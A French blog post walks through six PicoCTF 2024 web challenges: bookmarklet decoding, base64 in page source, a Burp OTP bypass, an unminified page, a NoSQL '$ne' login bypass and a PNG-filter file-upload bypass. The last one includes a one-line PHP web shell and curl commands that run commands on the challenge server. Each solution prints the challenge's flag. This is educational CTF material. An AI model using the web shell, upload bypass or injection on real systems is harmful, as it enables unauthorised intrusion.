Post

PicoCTF 2024 - Web Exploitation

Le PicoCTF 2024 vient de se terminer il y a quelques jours. Pour ceux qui ne sont pas familiers, PicoCTF est une plateforme de Capture The Flag (CTF) renommée, organisant un CTF chaque année. PicoCTF 2024 a été un CTF très enrichissant, offrant des challenges passionnants dans le domaine de la sécurité informatique. C'est un CTF idéal pour les débutants souhaitant se lancer dans ce domaine fascinant.

Dans ce post, je couvre la résolution des 6/7 challenges web qui ont été donnés lors du PicoCTF 2024. Nous plongerons dans chaque challenge pour explorer les techniques et les stratégies que j’ai utilisées pour les résoudre.

Bookmarklet(50pts)

Description:

Why search for the flag when I can make a bookmarklet to print it for me? Browse here, and find the flag!

Solution

D’abord je visite le site. b1

je trouve qu’on me donne un code javascript qui est le Suivant:

1
2
3
4
5
6
7
8
9
        javascript:(function() {
            var encryptedFlag = "àÒÆÞ¦È¬ë٣֖ÓÚåÛÑ¢ÕӜÒËɧœ©™í";
            var key = "picoctf";
            var decryptedFlag = "";
            for (var i = 0; i < encryptedFlag.length; i++) {
                decryptedFlag += String.fromCharCode((encryptedFlag.charCodeAt(i) - key.charCodeAt(i % key.length) + 256) % 256);
            }
            alert(decryptedFlag);
        })();

Alors ce que je vais faire est juste de creer un fichier code.js dans mon Terminal, modifier la ligne alert(decryptedFlag); par un console.log et l’executer ensuite. b2

  • Show the Flag picoCTF{p@g3_turn3r_6bbf8953}
  • WebDecode(50pts)

    Description

    Do you know how to use the web inspector? Start searching here to find the flag.

    Solution

    Comme toujours je visite le site en question que je dois inspecter. w1 Voyans le site, je trouve 3 page Disponible, je vais alors visiter la seconde page. w2 Ici on me dit d’inspecter la page. En inspectant le code Souce je trouve cet ligne interessante:

    1
    
    <section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMWY4MzI2MTV9"> 
    

    Ceci est un base64, en le decodant avec le Terminal Je recois mon Flag

    1
    2
    
    └─# echo cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMWY4MzI2MTV9 | base64 -d
    picoCTF{web_succ3ssfully_d3c0ded_XXXXX}
    
  • Show the Flag picoCTF{web_succ3ssfully_d3c0ded_1f832615}
  • IntroToBurp(100pts)

    Description:

    Try here to find the flag

    Solution

    En visitant le site en question, je trouve une page d’enregistrement Registration Lorsque je remplis le formulaire, la page me renvoi sur une autre page de remplissage OTP(One Time Password) Je ne connais aucun code Pin a mettre, Donc je dois surement la bypasser

    • Pour ce faire, je vais intercepter le Traffic et l’envoyer a mon repeater Repeater Je vais juste effacer la ligne otp=123 et renvoyer la requete ensuite Repeater 2
  • Show the Flag picoCTF{#0TP_Bypvss_SuCc3$S_6bffad21}
  • Unminify(100pts)

    Description:

    I don’t like scrolling down to read the code of my website, so I’ve squished it. As a bonus, my pages load faster! Browse here, and find the flag!

    Solution:

    Voici le page du Site a exploiter Unminify En inspectant le code Source du site je trouve le flag Flag

  • Show the Flag picoCTF{pr3tty_c0d3_51d374f0}
  • NoSQL Injection(200pts)

    Descripion:

    Can you try to get access to this website to get the flag? You can download the source here. The website is running here. Can you log in?

    Solution:

    Dans ce challenge on est arrivé sur une page de Login. Login

    En telechargent aussi le code source du challenge je trouve deux fichiers interessants. Dans le /api/login je trouve le route.ts

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    import User from "@/models/user";
    import { connectToDB } from "@/utils/database";
    import { seedUsers } from "@/utils/seed";
    
    export const POST = async (req: any) => {
      const { email, password } = await req.json();
      try {
        await connectToDB();
        await seedUsers();
        const users = await User.find({
          email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email,
          password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : p
        });
    
        if (users.length < 1)
          return new Response("Invalid email or password", { status: 401 });
        else {
          return new Response(JSON.stringify(users), { status: 200 });
        }
      } catch (error) {
        return new Response("Internal Server Error", { status: 500 });
      }
    };
    

    Ce que j’ai observer dans ce code est que:

    • Il recherche un utilisateur dans la base de données en utilisant l’email et le mot de passe fournis. Il convertit les emails et les mots de passe qui commencent et finissent par {} en JSON avant de les utiliser dans la recherche.
    • Si un utilisateur correspondant est trouvé, il renvoie les détails de l’utilisateur en réponse (200 OK). Sinon, il renvoie une réponse indiquant que l’email ou le mot de passe est invalide (401 Invalid) ou une erreur interne du serveur (500 Internal Server Error) en cas d’erreur.

    Ensuite dans le /utils je trouve le seed.ts

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    import User from "../models/user";
    
    
    export const seedUsers = async (): Promise<void> => {
      
      try {
    
         const users = await User.find({email: "joshiriya355@mumbama.com"});
          if (users.length > 0) {
            return;
          }
        const newUser = new User({
          firstName: "Josh",
          lastName: "Iriya",
          email: "joshiriya355@mumbama.com",
          password: process.env.NEXT_PUBLIC_PASSWORD as string
        });
        await newUser.save();
      } catch (error) {
        throw new Error("Some thing went wrong")
      }
    };
    

    Pour bypasser ce login de l’utilisateur Josh Iriya avec l’email joshiriya355@mumbama.com, on peux utiliser la Technique $ne pour cela. J’ai laisser quelque ressources a voir dans Ressources Supplementaires

    Bypassed

    J’ai une bonne reponse de 200 avec un token en base64 que je vais decoder pour avoir mon flag

  • Show The Flag picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_af67328d}
  • Trickster(300pts)

    Description:

    I found a web app that can help process images: PNG images only! Try it here!

    Solution:

    Dans ce challenge, je trouve un system de telechargement de fichier. File Upload

    La premiere idée qui me viennent en tete est que ce site serait vulnerable aux vulnerabilités de File Upload. Mais on me dit que je ne peux seulement que mettre des fichiers PNG

    • En faisant un Test d’un fichier .png je recois. File uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
    • Et pour un fichier .php je recois. Error: File name does not contain '.png'.

    Il me semble que mon fichier doit juste contenir le .png, par exemple je peux dire fichier.png.php ou fichier.png.png.php et cela aussi fonctionne. De base je vais juste essayer d’afficher le page phpinfo phpinfo

    Dans la reponse on me dit que mon fichier a bien uploader, mais ou ? et donc dans le /robots.txt je trouve ici.

    1
    2
    3
    
    User-agent: *
    Disallow: /instructions.txt
    Disallow: /uploads/
    

    phpinfo 2

    Bon, notre code injecter fonction, et on a le fichier phpinfo en retour. Maintenant je vais remplacer le code php que j’ai mis par <?=`$_GET[0]`?> pour avoir un RCE.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    └─# curl -s  "http://atlas.picoctf.net:60160/uploads/hacked.png.php?0=id" | strings 
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    └─# curl -s  "http://atlas.picoctf.net:60160/uploads/hacked.png.php?0=ls+/" | strings
    boot
    challenge
    home
    lib64
    media
    proc
    root
    sbin
    └─# curl -s  "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=pwd" | strings
    /var/www/html/uploads
    └─# curl -s  "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=ls+-la+../" | strings
    total 16
    drwxrwxrwt 1 www-data www-data   21 Mar 11 23:59 .
    drwxr-xr-x 1 root     root       18 Nov 21 14:01 ..
    -rw-r--r-- 1 root     root       49 Mar 11 23:59 GNTDOMBWGIZDE.txt
    -rw-r--r-- 1 root     root     1572 Feb  7 17:25 index.php
    -rw-r--r-- 1 root     root      415 Feb  7 17:25 instructions.txt
    -rw-r--r-- 1 root     root       62 Feb  7 17:25 robots.txt
    drwxr-xr-x 1 www-data root       28 Mar 27 21:36 uploads
    

    je trouve un fichier GNTDOMBWGIZDE.txt,

    1
    2
    
    ─# curl -s  "http://atlas.picoctf.net:55288/uploads/hacked.png.php?0=cat+../GNTDOMBWGIZDE.txt" | strings
    /* picoCTF{c3rt!fi3d_Xp3rt_XXXXXX} */
    
  • Show The Flag picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_3f706222}
  • Ressources supplementaires

    Voici quelques ressources supplémentaires qui pourraient vous être utiles :

    This post is licensed under CC BY 4.0 by the author.